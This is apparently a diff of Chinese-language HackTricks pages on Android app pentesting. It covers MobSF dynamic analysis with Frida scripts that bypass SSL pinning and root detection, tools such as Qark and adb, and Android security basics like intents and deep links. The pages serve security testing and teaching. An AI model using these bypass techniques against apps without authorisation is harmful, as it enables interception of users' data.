MobSF 还允许您进行 **diff/比较** 分析,并集成 **VirusTotal**(您需要在 _MobSF/settings.py_ 中设置您的 API 密钥并启用它:`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。您还可以将 `VT_UPLOAD` 设置为 `False`,那么 **hash** 将被 **上传** 而不是文件。
|
||||
MobSF 还允许您进行 **diff/Compare** 分析并集成 **VirusTotal**(您需要在 _MobSF/settings.py_ 中设置您的 API 密钥并启用它:`VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。您还可以将 `VT_UPLOAD` 设置为 `False`,这样 **hash** 将被 **upload** 而不是文件。
|
||||
|
||||
### 使用 MobSF 进行辅助动态分析
|
||||
|
||||
**MobSF** 对于 **Android** 的 **动态分析** 也非常有帮助,但在这种情况下,您需要在主机上安装 MobSF 和 **genymotion**(虚拟机或 Docker 不会工作)。_注意:您需要 **先在 genymotion 中启动虚拟机**,然后 **再启动 MobSF。**_\
|
||||
**MobSF 动态分析器** 可以:
|
||||
|
||||
- **转储应用程序数据**(URLs、日志、剪贴板、您拍摄的屏幕截图、由 "**Exported Activity Tester**" 拍摄的屏幕截图、电子邮件、SQLite 数据库、XML 文件和其他创建的文件)。所有这些都是自动完成的,除了屏幕截图,您需要在想要截图时按下,或者您需要按 "**Exported Activity Tester**" 以获取所有导出活动的屏幕截图。
|
||||
- **Dump 应用程序数据**(URLs、日志、剪贴板、您拍摄的屏幕截图、由 "**Exported Activity Tester**" 拍摄的屏幕截图、电子邮件、SQLite 数据库、XML 文件和其他创建的文件)。所有这些都是自动完成的,除了屏幕截图,您需要在想要截图时按下,或者您需要按 "**Exported Activity Tester**" 以获取所有导出活动的屏幕截图。
|
||||
- 捕获 **HTTPS 流量**
|
||||
- 使用 **Frida** 获取 **运行时** **信息**
|
||||
|
||||
从 Android **版本 > 5** 开始,它将 **自动启动 Frida** 并设置全局 **代理** 设置以 **捕获** 流量。它只会捕获被测试应用程序的流量。
|
||||
从 Android **版本 > 5** 开始,它将 **自动启动 Frida** 并设置全局 **proxy** 设置以 **捕获** 流量。它只会捕获被测试应用程序的流量。
|
||||
|
||||
**Frida**
|
||||
|
||||
默认情况下,它还将使用一些 Frida 脚本来 **绕过 SSL 钉扎**、**根检测** 和 **调试器检测**,并 **监控有趣的 API**。\
|
||||
默认情况下,它还将使用一些 Frida 脚本来 **绕过 SSL 钉扎**、**root 检测** 和 **调试器检测**,并 **监控有趣的 API**。\
|
||||
MobSF 还可以 **调用导出活动**,抓取它们的 **屏幕截图** 并 **保存** 到报告中。
|
||||
|
||||
要 **开始** 动态测试,请按绿色按钮:“**开始仪器化**”。按“**Frida 实时日志**”查看 Frida 脚本生成的日志,按“**实时 API 监视器**”查看所有调用的挂钩方法、传递的参数和返回值(这将在按下“开始仪器化”后出现)。\
|
||||
MobSF 还允许您加载自己的 **Frida 脚本**(要将您的 Frida 脚本的结果发送到 MobSF,请使用函数 `send()`)。它还具有 **多个预编写的脚本**,您可以加载(您可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需 **选择它们**,按“**加载**”并按“**开始仪器化**”(您将能够在“**Frida 实时日志**”中看到该脚本的日志)。
|
||||
要 **开始** 动态测试,请按绿色按钮:“**Start Instrumentation**”。按下“**Frida Live Logs**”以查看 Frida 脚本生成的日志,按下“**Live API Monitor**”以查看所有调用的挂钩方法、传递的参数和返回值(这将在按下“Start Instrumentation”后出现)。\
|
||||
MobSF 还允许您加载自己的 **Frida 脚本**(要将您的 Frida 脚本的结果发送到 MobSF,请使用函数 `send()`)。它还具有 **多个预编写的脚本**,您可以加载(您可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需 **选择它们**,按“**Load**”并按“**Start Instrumentation**”(您将能够在“**Frida Live Logs**”中看到该脚本的日志)。
|
||||
|
||||
.png>)
|
||||
|
||||
此外,您还有一些辅助 Frida 功能:
|
||||
|
||||
- **枚举已加载的类**:它将打印所有已加载的类
|
||||
- **列出已加载的类**:它将打印所有已加载的类
|
||||
- **捕获字符串**:它将打印在使用应用程序时捕获的所有字符串(非常嘈杂)
|
||||
- **捕获字符串比较**:可能非常有用。它将 **显示正在比较的两个字符串** 以及结果是 True 还是 False。
|
||||
- **枚举类方法**:输入类名(如 "java.io.File"),它将打印该类的所有方法。
|
||||
- **捕获字符串比较**:可能非常有用。它将 **显示正在比较的 2 个字符串** 以及结果是 True 还是 False。
|
||||
- **列出类方法**:输入类名(如 "java.io.File"),它将打印该类的所有方法。
|
||||
- **搜索类模式**:按模式搜索类
|
||||
- **跟踪类方法**:**跟踪** 一个 **整个类**(查看该类所有方法的输入和输出)。请记住,默认情况下 MobSF 跟踪几个有趣的 Android API 方法。
|
||||
|
||||
一旦您选择了要使用的辅助模块,您需要按“**开始仪器化**”,您将看到所有输出在“**Frida 实时日志**”中。
|
||||
一旦您选择了要使用的辅助模块,您需要按“**Start Intrumentation**”,您将看到所有输出在“**Frida Live Logs**”中。
|
||||
|
||||
**Shell**
|
||||
|
||||
@ -570,7 +570,7 @@ receivers
|
||||
```
|
||||
**HTTP工具**
|
||||
|
||||
当http流量被捕获时,您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送**捕获的**请求**到像Burp或Owasp ZAP这样的**代理**。\
|
||||
当捕获http流量时,您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送** **捕获的请求**到像Burp或Owasp ZAP这样的**代理**。\
|
||||
为此,_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
|
||||
|
||||
完成MobSF的动态分析后,您可以按“**Start Web API Fuzzer**”来**模糊http请求**并寻找漏洞。
|
||||
@ -589,13 +589,13 @@ receivers
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
这是一个**用于执行静态分析的优秀工具,带有GUI**
|
||||
这是一个**用于执行带GUI的静态分析的好工具**
|
||||
|
||||
.png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
该工具旨在查找多个**与安全相关的Android应用程序漏洞**,无论是在**源代码**还是**打包的APK**中。该工具还**能够创建可部署的“概念验证”APK**和**ADB命令**,以利用一些发现的漏洞(暴露的活动、意图、点击劫持...)。与Drozer一样,测试设备无需root。
|
||||
该工具旨在查找多个**与安全相关的Android应用程序漏洞**,无论是在**源代码**还是**打包的APK**中。该工具还**能够创建可部署的“概念验证”APK**和**ADB命令**,以利用一些发现的漏洞(暴露的活动、意图、tapjacking...)。与Drozer一样,测试设备无需root。
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -615,7 +615,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER 是一个可以在 Windows、MacOS X 和 Linux 上使用的命令行应用程序,旨在分析 _.apk_ 文件以寻找漏洞。它通过解压 APK 并应用一系列规则来检测这些漏洞。
|
||||
SUPER 是一个可以在 Windows、MacOS X 和 Linux 中使用的命令行应用程序,分析 _.apk_ 文件以寻找漏洞。它通过解压 APK 并应用一系列规则来检测这些漏洞。
|
||||
|
||||
所有规则都集中在一个 `rules.json` 文件中,每个公司或测试人员都可以创建自己的规则来分析他们需要的内容。
|
||||
|
||||
@ -662,15 +662,15 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
它能够:
|
||||
|
||||
- 使用不同工具提取 Java 和 Smali 代码
|
||||
- 使用以下工具分析 APK:[smalisca](https://github.com/dorneanu/smalisca)、[ClassyShark](https://github.com/google/android-classyshark)、[androbugs](https://github.com/AndroBugs/AndroBugs_Framework)、[androwarn](https://github.com/maaaaz/androwarn)、[APKiD](https://github.com/rednaga/APKiD)
|
||||
- 使用以下工具分析 APK: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- 使用正则表达式从 APK 中提取私人信息。
|
||||
- 分析 Manifest。
|
||||
- 使用以下工具分析发现的域:[pyssltest](https://github.com/moheshmohan/pyssltest)、[testssl](https://github.com/drwetter/testssl.sh) 和 [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- 使用以下工具分析发现的域: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) 和 [whatweb](https://github.com/urbanadventurer/WhatWeb)
|
||||
- 通过 [apk-deguard.com](http://www.apk-deguard.com) 进行 APK 的去混淆。
|
||||
|
||||
### Koodous
|
||||
|
||||
用于检测恶意软件:[https://koodous.com/](https://koodous.com)
|
||||
用于检测恶意软件: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
## 混淆/去混淆代码
|
||||
|
||||
@ -689,10 +689,10 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应
|
||||
(来自该指南)上次我们检查时,Dexguard 的操作模式是:
|
||||
|
||||
- 将资源加载为 InputStream;
|
||||
- 将结果传递给继承自 FilterInputStream 的类以进行解密;
|
||||
- 将结果提供给继承自 FilterInputStream 的类以进行解密;
|
||||
- 进行一些无用的混淆,以浪费反向工程师几分钟的时间;
|
||||
- 将解密后的结果传递给 ZipInputStream 以获取 DEX 文件;
|
||||
- 最后使用 `loadDex` 方法将结果 DEX 加载为资源。
|
||||
- 将解密的结果提供给 ZipInputStream 以获取 DEX 文件;
|
||||
- 最后使用 `loadDex` 方法将结果 DEX 作为资源加载。
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
@ -706,7 +706,7 @@ ProGuard 作为 Android SDK 的一部分分发,并在以发布模式构建应
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
它是一个 **通用的 Android 去混淆器。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其行为相同,但更易于人类理解。每种优化类型都是简单和通用的,因此无论使用何种特定类型的混淆都无关紧要。
|
||||
它是一个 **通用的 Android 去混淆器。** Simplify **虚拟执行应用程序** 以理解其行为,然后 **尝试优化代码** 使其表现相同,但更易于人类理解。每种优化类型都是简单和通用的,因此无论使用何种特定类型的混淆都无关紧要。
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
@ -722,7 +722,7 @@ APKiD 为您提供有关 **APK 是如何制作的** 信息。它识别许多 **
|
||||
|
||||
AndroL4b 是一个基于 ubuntu-mate 的 Android 安全虚拟机,包含来自不同安全极客和研究人员的最新框架、教程和实验室,用于逆向工程和恶意软件分析。
|
||||
|
||||
## 参考
|
||||
## 参考资料
|
||||
|
||||
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) 这是一个很好的资源列表
|
||||
|
||||
@ -78,7 +78,7 @@ adb uninstall -k com.test.app Keep the data and cache directories around after p
|
||||
```
|
||||
## 包
|
||||
|
||||
打印所有包,可选地仅打印包名包含\<FILTER>文本的包。
|
||||
打印所有包,选项上只打印那些包名包含\<FILTER>文本的包。
|
||||
|
||||
### adb shell pm list packages \[options] \<FILTER-STR>
|
||||
```bash
|
||||
@ -130,7 +130,7 @@ adb push test.apk /sdcard
|
||||
|
||||
### adb shell screencap \<filename>
|
||||
|
||||
对设备显示屏进行截图。
|
||||
拍摄设备显示的屏幕截图。
|
||||
```bash
|
||||
adb shell screencap /sdcard/screen.png
|
||||
```
|
||||
@ -180,7 +180,7 @@ input [text|keyevent] #Send keystrokes to device
|
||||
```bash
|
||||
adb shell ps
|
||||
```
|
||||
搜索您的应用程序
|
||||
并搜索您的应用程序
|
||||
|
||||
或者您可以这样做
|
||||
```bash
|
||||
|
||||
@ -6,16 +6,16 @@
|
||||
|
||||
**有两个层次:**
|
||||
|
||||
- **操作系统**,它使已安装的应用程序彼此隔离。
|
||||
- **应用程序本身**,允许开发者**暴露某些功能**并配置应用程序能力。
|
||||
- **操作系统**,它使已安装的应用程序相互隔离。
|
||||
- **应用程序本身**,允许开发人员**暴露某些功能**并配置应用程序能力。
|
||||
|
||||
### UID Separation
|
||||
|
||||
**每个应用程序被分配一个特定的用户ID**。这在应用程序安装时完成,因此**应用程序只能与其用户ID拥有的文件或共享文件进行交互**。因此,只有应用程序本身、操作系统的某些组件和根用户可以访问应用程序的数据。
|
||||
**每个应用程序被分配一个特定的用户ID**。这在应用程序安装时完成,因此**该应用程序只能与其用户ID拥有的文件或共享文件进行交互**。因此,只有应用程序本身、操作系统的某些组件和根用户可以访问应用程序的数据。
|
||||
|
||||
### UID Sharing
|
||||
|
||||
**两个应用程序可以配置为使用相同的UID**。这可以用于共享信息,但如果其中一个被攻破,则两个应用程序的数据都会受到影响。这就是为什么这种行为**不被鼓励**。\
|
||||
**两个应用程序可以配置为使用相同的UID**。这可以用于共享信息,但如果其中一个被攻破,则两个应用程序的数据都会受到影响。这就是为什么这种行为是**不鼓励**的。\
|
||||
**要共享相同的UID,应用程序必须在其清单中定义相同的 `android:sharedUserId` 值。**
|
||||
|
||||
### Sandboxing
|
||||
@ -25,7 +25,7 @@
|
||||
|
||||
### Permissions
|
||||
|
||||
当你安装一个**应用程序并请求权限**时,应用程序是在请求**AndroidManifest.xml**文件中配置的**`uses-permission`**元素中的权限。**uses-permission**元素在**name**属性中指示请求的权限名称。它还有**maxSdkVersion**属性,该属性在版本高于指定版本时停止请求权限。\
|
||||
当你安装一个**应用程序并请求权限**时,该应用程序是在请求**AndroidManifest.xml**文件中配置的**`uses-permission`**元素中的权限。**uses-permission**元素在**name**属性中指示请求的权限名称。它还有**maxSdkVersion**属性,该属性在版本高于指定版本时停止请求权限。\
|
||||
请注意,Android应用程序不需要在开始时请求所有权限,它们也可以**动态请求权限**,但所有权限必须在**清单中声明**。
|
||||
|
||||
当应用程序暴露功能时,它可以限制**仅允许具有指定权限的应用程序访问**。\
|
||||
@ -34,8 +34,8 @@
|
||||
- 权限的**名称**
|
||||
- **permission-group**属性,允许对相关权限进行分组。
|
||||
- **protection-level**,指示权限的授予方式。共有四种类型:
|
||||
- **Normal**:用于当应用程序**没有已知威胁**时。用户**不需要批准**它。
|
||||
- **Dangerous**:指示权限授予请求应用程序某些**提升的访问权限**。**用户被要求批准它们**。
|
||||
- **Normal**:在没有**已知威胁**的情况下使用。用户**不需要批准**。
|
||||
- **Dangerous**:指示权限授予请求应用程序某些**提升的访问权限**。**请求用户批准**。
|
||||
- **Signature**:只有**由与导出组件相同证书签名的应用程序**才能获得权限。这是最强的保护类型。
|
||||
- **SignatureOrSystem**:只有**由与导出组件相同证书签名的应用程序**或**以系统级访问权限运行的应用程序**才能获得权限。
|
||||
|
||||
@ -49,7 +49,7 @@
|
||||
|
||||
## Rooting
|
||||
|
||||
为了获得对物理Android设备的root访问权限,通常需要**利用**1或2个**漏洞**,这些漏洞通常是**特定**于**设备**和**版本**的。\
|
||||
为了获得物理Android设备的root访问权限,通常需要**利用**1或2个**漏洞**,这些漏洞通常是**特定**于**设备**和**版本**的。\
|
||||
一旦利用成功,通常会将Linux `su`二进制文件复制到用户PATH环境变量中指定的位置,如`/system/xbin`。
|
||||
|
||||
一旦配置了su二进制文件,另一个Android应用程序将用于与`su`二进制文件接口并**处理root访问请求**,如**Superuser**和**SuperSU**(在Google Play商店中可用)。
|
||||
@ -59,10 +59,10 @@
|
||||
|
||||
### ROMs
|
||||
|
||||
可以通过**安装自定义固件来替换操作系统**。这样可以扩展旧设备的使用价值,绕过软件限制或获得最新的Android代码。\
|
||||
可以通过**安装自定义固件来替换操作系统**。这样可以扩展旧设备的使用价值,绕过软件限制或访问最新的Android代码。\
|
||||
**OmniROM**和**LineageOS**是两个最流行的固件。
|
||||
|
||||
请注意,**并不总是需要root设备**才能安装自定义固件。**一些制造商允许**以良好文档化和安全的方式解锁其引导加载程序。
|
||||
请注意,**并不总是需要root设备**才能安装自定义固件。**一些制造商允许**以良好文档和安全的方式解锁其引导加载程序。
|
||||
|
||||
### Implications
|
||||
|
||||
@ -118,9 +118,9 @@ Intents是Android应用程序在其组件之间或与其他应用程序之间通
|
||||
|
||||
Intent过滤器由类别、操作和数据过滤器组成,并可以包含附加元数据。此设置允许组件处理与声明的标准匹配的特定Intents。
|
||||
|
||||
Android组件(活动/服务/内容提供者/广播接收器)的一个关键方面是它们的可见性或**公共状态**。如果组件的**`exported`**值为**`true`**,则该组件被视为公共的,可以与其他应用程序交互;如果在清单中声明了Intent过滤器,则也是如此。然而,开发者可以通过将**`exported`**属性设置为**`false`**来显式保持这些组件私有,确保它们不会与其他应用程序意外交互。
|
||||
Android组件(活动/服务/内容提供者/广播接收器)的一个关键方面是它们的可见性或**公共状态**。如果组件的**`exported`**值为**`true`**,则该组件被视为公共的,可以与其他应用程序交互;如果在清单中为其声明了Intent过滤器,则也是如此。然而,开发人员可以通过将**`exported`**属性设置为**`false`**来显式保持这些组件私有,确保它们不会与其他应用程序意外交互。
|
||||
|
||||
此外,开发者还有选择进一步保护对这些组件的访问的选项,要求特定权限。**`permission`**属性可以设置为强制要求只有具有指定权限的应用程序才能访问该组件,从而增加了安全性和对谁可以与之交互的控制。
|
||||
此外,开发人员还有选择进一步保护对这些组件的访问的选项,要求特定权限。**`permission`**属性可以设置为强制要求只有具有指定权限的应用程序才能访问该组件,从而为谁可以与其交互增加了一层额外的安全性和控制。
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
@ -132,9 +132,9 @@ Android组件(活动/服务/内容提供者/广播接收器)的一个关键
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
该意图的 **Action** 是 **ACTION_SEND**,**Extra** 是一个 mailto **Uri**(Extra 是意图所期望的额外信息)。
|
||||
该**意图**的**动作**是**ACTION_SEND**,**额外**是一个mailto **Uri**(额外是意图所期望的额外信息)。
|
||||
|
||||
该意图应在清单中声明,如以下示例所示:
|
||||
此意图应在清单中声明,如以下示例所示:
|
||||
```xml
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
@ -145,7 +145,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
一个 intent-filter 需要匹配 **action**、**data** 和 **category** 才能接收消息。
|
||||
|
||||
“Intent 解析”过程决定哪个应用程序应该接收每个消息。这个过程考虑 **priority attribute**,可以在 **intent-filter 声明**中设置,**优先级更高的将被选择**。这个优先级可以设置在 -1000 到 1000 之间,应用程序可以使用 `SYSTEM_HIGH_PRIORITY` 值。如果出现 **冲突**,将出现一个“选择器”窗口,以便 **用户可以决定**。
|
||||
“Intent 解析”过程决定哪个应用程序应该接收每个消息。该过程考虑 **priority attribute**,可以在 **intent-filter 声明**中设置,**优先级更高的将被选择**。此优先级可以设置在 -1000 到 1000 之间,应用程序可以使用 `SYSTEM_HIGH_PRIORITY` 值。如果出现 **冲突**,将出现一个“选择器”窗口,以便 **用户可以决定**。
|
||||
|
||||
### 显式 Intent
|
||||
|
||||
@ -161,7 +161,7 @@ context.startService(intent);
|
||||
```
|
||||
### Pending Intents
|
||||
|
||||
这些允许其他应用程序**代表您的应用程序采取行动**,使用您的应用程序的身份和权限。构造一个 Pending Intent 时,应该**指定一个意图和要执行的操作**。如果**声明的意图不是显式的**(没有声明哪个意图可以调用它),则**恶意应用程序可能会代表受害者应用程序执行声明的操作**。此外,**如果没有指定操作**,恶意应用程序将能够**代表受害者执行任何操作**。
|
||||
这些允许其他应用程序**代表您的应用程序采取行动**,使用您的应用程序的身份和权限。构造 Pending Intent 时,应该**指定一个意图和要执行的操作**。如果**声明的意图不是显式的**(没有声明哪个意图可以调用它),则**恶意应用程序可能会代表受害者应用程序执行声明的操作**。此外,**如果未指定操作**,恶意应用程序将能够**代表受害者执行任何操作**。
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
@ -184,7 +184,7 @@ context.startService(intent);
|
||||
|
||||
## Deep links / URL schemes
|
||||
|
||||
在 Android 应用程序中,**深度链接**用于通过 URL 直接启动一个操作(意图)。这是通过在活动中声明一个特定的**URL 方案**来完成的。当 Android 设备尝试**访问具有此方案的 URL**时,应用程序中的指定活动将被启动。
|
||||
在 Android 应用程序中,**深度链接**用于通过 URL 直接启动一个操作(意图)。这是通过在活动中声明特定的**URL 方案**来完成的。当 Android 设备尝试**访问带有此方案的 URL**时,应用程序中的指定活动将被启动。
|
||||
|
||||
该方案必须在**`AndroidManifest.xml`**文件中声明:
|
||||
```xml
|
||||
@ -198,7 +198,7 @@ context.startService(intent);
|
||||
</intent-filter>
|
||||
[...]
|
||||
```
|
||||
前一个示例中的方案是 `examplescheme://`(请注意 **`category BROWSABLE`**)
|
||||
前一个示例中的方案是 `examplescheme://`(还要注意 **`category BROWSABLE`**)
|
||||
|
||||
然后,在数据字段中,您可以指定 **host** 和 **path**:
|
||||
```xml
|
||||
@ -223,7 +223,7 @@ android:host="example"
|
||||
|
||||
- **绑定服务**:这些服务利用AIDL进行IPC,使活动或组件能够绑定到服务,发出请求并接收响应。服务类中的`onBind`方法对于启动交互至关重要,标志着它是安全审查中寻找漏洞的重要领域。
|
||||
|
||||
- **Messenger**:作为绑定服务,Messenger促进IPC,重点处理通过`onBind`方法的数据。必须仔细检查此方法,以发现任何不安全的数据处理或敏感功能的执行。
|
||||
- **Messenger**:作为绑定服务,Messenger促进IPC,重点处理通过`onBind`方法的数据。必须仔细检查此方法,以查找任何不安全的数据处理或敏感功能的执行。
|
||||
|
||||
- **Binder**:尽管由于AIDL的抽象,Binder类的直接使用较少,但了解Binder作为内核级驱动程序在不同进程的内存空间之间促进数据传输是有益的。有关进一步理解的资源可在[https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8)找到。
|
||||
|
||||
@ -276,9 +276,9 @@ super.onCreate();
|
||||
|
||||
[Services](https://developer.android.com/guide/components/services) 是 **后台操作**,能够在没有用户界面的情况下执行任务。这些任务即使在用户切换到不同应用程序时也可以继续运行,使得服务对于 **长时间运行的操作** 至关重要。
|
||||
|
||||
服务是多功能的;它们可以通过多种方式启动,其中 **Intents** 是作为应用程序入口点启动它们的主要方法。一旦使用 `startService` 方法启动服务,其 `onStart` 方法就会启动并持续运行,直到显式调用 `stopService` 方法。或者,如果服务的角色依赖于活动的客户端连接,则使用 `bindService` 方法将客户端绑定到服务,激活 `onBind` 方法进行数据传递。
|
||||
服务是多功能的;它们可以通过多种方式启动,其中 **Intents** 是作为应用程序入口点启动它们的主要方法。一旦使用 `startService` 方法启动服务,其 `onStart` 方法就会启动并持续运行,直到显式调用 `stopService` 方法。或者,如果服务的角色依赖于活动的客户端连接,则使用 `bindService` 方法将客户端绑定到服务,激活 `onBind` 方法以进行数据传递。
|
||||
|
||||
服务的一个有趣应用包括后台音乐播放或网络数据获取,而不妨碍用户与应用的交互。此外,服务可以通过 **导出** 使其他进程在同一设备上可访问。这不是默认行为,需要在 Android Manifest 文件中进行显式配置:
|
||||
服务的一个有趣应用包括后台音乐播放或网络数据获取,而不会妨碍用户与应用的交互。此外,服务可以通过 **导出** 使其他进程在同一设备上可访问。这不是默认行为,需要在 Android Manifest 文件中进行显式配置:
|
||||
```xml
|
||||
<service android:name=".ExampleExportedService" android:exported="true"/>
|
||||
```
|
||||
@ -286,7 +286,7 @@ super.onCreate();
|
||||
|
||||
**广播接收器**充当消息系统中的监听器,允许多个应用程序响应来自系统的相同消息。应用程序可以通过应用的**Manifest**或通过应用代码中的**`registerReceiver`** API以**两种主要方式**注册接收器。在Manifest中,广播通过权限进行过滤,而动态注册的接收器在注册时也可以指定权限。
|
||||
|
||||
**意图过滤器**在这两种注册方法中至关重要,决定哪些广播触发接收器。一旦发送匹配的广播,接收器的**`onReceive`**方法将被调用,使应用能够相应地反应,例如在低电量警报时调整行为。
|
||||
**意图过滤器**在这两种注册方法中至关重要,决定哪些广播触发接收器。一旦发送匹配的广播,接收器的**`onReceive`**方法将被调用,使应用能够相应地反应,例如在接收到低电量警报时调整行为。
|
||||
|
||||
广播可以是**异步**的,所有接收器无序接收,或**同步**的,接收器根据设定的优先级接收广播。然而,重要的是要注意潜在的安全风险,因为任何应用都可以优先处理自己以拦截广播。
|
||||
|
||||
@ -294,13 +294,13 @@ super.onCreate();
|
||||
|
||||
### 内容提供者
|
||||
|
||||
**内容提供者**对于**在应用之间共享结构化数据**至关重要,强调实施**权限**以确保数据安全的重要性。它们允许应用访问来自各种来源的数据,包括数据库、文件系统或网络。特定权限,如**`readPermission`**和**`writePermission`**,对于控制访问至关重要。此外,可以通过应用的Manifest中的**`grantUriPermission`**设置临时访问,利用`path`、`pathPrefix`和`pathPattern`等属性进行详细的访问控制。
|
||||
**内容提供者**对于**在应用之间共享结构化数据**至关重要,强调实施**权限**以确保数据安全的重要性。它们允许应用访问来自各种来源的数据,包括数据库、文件系统或网络。特定权限,如**`readPermission`**和**`writePermission`**,对于控制访问至关重要。此外,可以通过应用的manifest中的**`grantUriPermission`**设置授予临时访问,利用`path`、`pathPrefix`和`pathPattern`等属性进行详细的访问控制。
|
||||
|
||||
输入验证至关重要,以防止漏洞,例如SQL注入。内容提供者支持基本操作:`insert()`、`update()`、`delete()`和`query()`,促进应用之间的数据操作和共享。
|
||||
|
||||
**FileProvider**,一种专门的内容提供者,专注于安全地共享文件。它在应用的Manifest中定义,具有特定属性以控制对文件夹的访问,由`android:exported`和`android:resource`指向文件夹配置。共享目录时需谨慎,以避免意外暴露敏感数据。
|
||||
**FileProvider**,一种专门的内容提供者,专注于安全地共享文件。它在应用的manifest中定义,具有特定属性以控制对文件夹的访问,由`android:exported`和`android:resource`指向文件夹配置。共享目录时需谨慎,以避免意外暴露敏感数据。
|
||||
|
||||
FileProvider的示例Manifest声明:
|
||||
FileProvider的示例manifest声明:
|
||||
```xml
|
||||
<provider android:name="androidx.core.content.FileProvider"
|
||||
android:authorities="com.example.myapp.fileprovider"
|
||||
@ -327,7 +327,7 @@ WebViews 就像是 Android 应用中的 **迷你网页浏览器**,从网络或
|
||||
|
||||
Android 提供了两种主要的 WebView 类型:
|
||||
|
||||
- **WebViewClient** 适合基本的 HTML,但不支持 JavaScript 警告功能,这影响了 XSS 攻击的测试方式。
|
||||
- **WebViewClient** 适合基本的 HTML,但不支持 JavaScript 警报功能,这影响了 XSS 攻击的测试方式。
|
||||
- **WebChromeClient** 更像是完整的 Chrome 浏览器体验。
|
||||
|
||||
一个关键点是 WebView 浏览器 **不与设备的主浏览器共享 cookies**。
|
||||
@ -346,15 +346,15 @@ JavaScript "Bridge" 允许 Java 对象与 JavaScript 交互,从 Android 4.2
|
||||
|
||||
### **应用程序的数字签名**
|
||||
|
||||
- **数字签名** 是 Android 应用的必要条件,确保它们在安装前是 **真实作者**。此过程使用证书进行应用识别,并必须在安装时由设备的包管理器进行验证。应用可以是 **自签名或由外部 CA 认证**,以防止未经授权的访问,并确保应用在传送到设备时保持未被篡改。
|
||||
- **数字签名** 是 Android 应用的必需,确保它们在安装前是 **真实作者**。此过程使用证书进行应用识别,并必须在安装时由设备的包管理器进行验证。应用可以是 **自签名或由外部 CA 认证**,以防止未经授权的访问,并确保应用在传送到设备时保持未被篡改。
|
||||
|
||||
### **增强安全性的应用验证**
|
||||
|
||||
- 从 **Android 4.2** 开始,名为 **Verify Apps** 的功能允许用户在安装前检查应用的安全性。此 **验证过程** 可以警告用户潜在有害的应用,甚至防止安装特别恶意的应用,从而增强用户安全性。
|
||||
- 从 **Android 4.2** 开始,名为 **Verify Apps** 的功能允许用户在安装前检查应用的安全性。此 **验证过程** 可以警告用户潜在有害的应用,甚至阻止特别恶意的应用安装,从而增强用户安全性。
|
||||
|
||||
### **移动设备管理 (MDM)**
|
||||
|
||||
- **MDM 解决方案** 通过 **设备管理 API** 提供对移动设备的 **监督和安全**。它们需要安装 Android 应用以有效管理和保护移动设备。主要功能包括 **强制实施密码策略**、**要求存储加密** 和 **允许远程数据擦除**,确保对移动设备的全面控制和安全。
|
||||
- **MDM 解决方案** 通过 **设备管理 API** 提供对移动设备的 **监督和安全**。它们需要安装 Android 应用以有效管理和保护移动设备。主要功能包括 **强制密码策略**、**要求存储加密** 和 **允许远程数据擦除**,确保对移动设备的全面控制和安全。
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
||||
@ -1,17 +1,17 @@
|
||||
# Android Task Hijacking
|
||||
# Android 任务劫持
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 任务、后栈和前台活动
|
||||
|
||||
在Android中,**任务**本质上是一组用户交互以完成特定工作的活动,组织在**后栈**中。这个栈根据活动打开的时间对活动进行排序,最近的活动显示在顶部,称为**前台活动**。在任何时刻,只有这个活动在屏幕上可见,使其成为**前台任务**的一部分。
|
||||
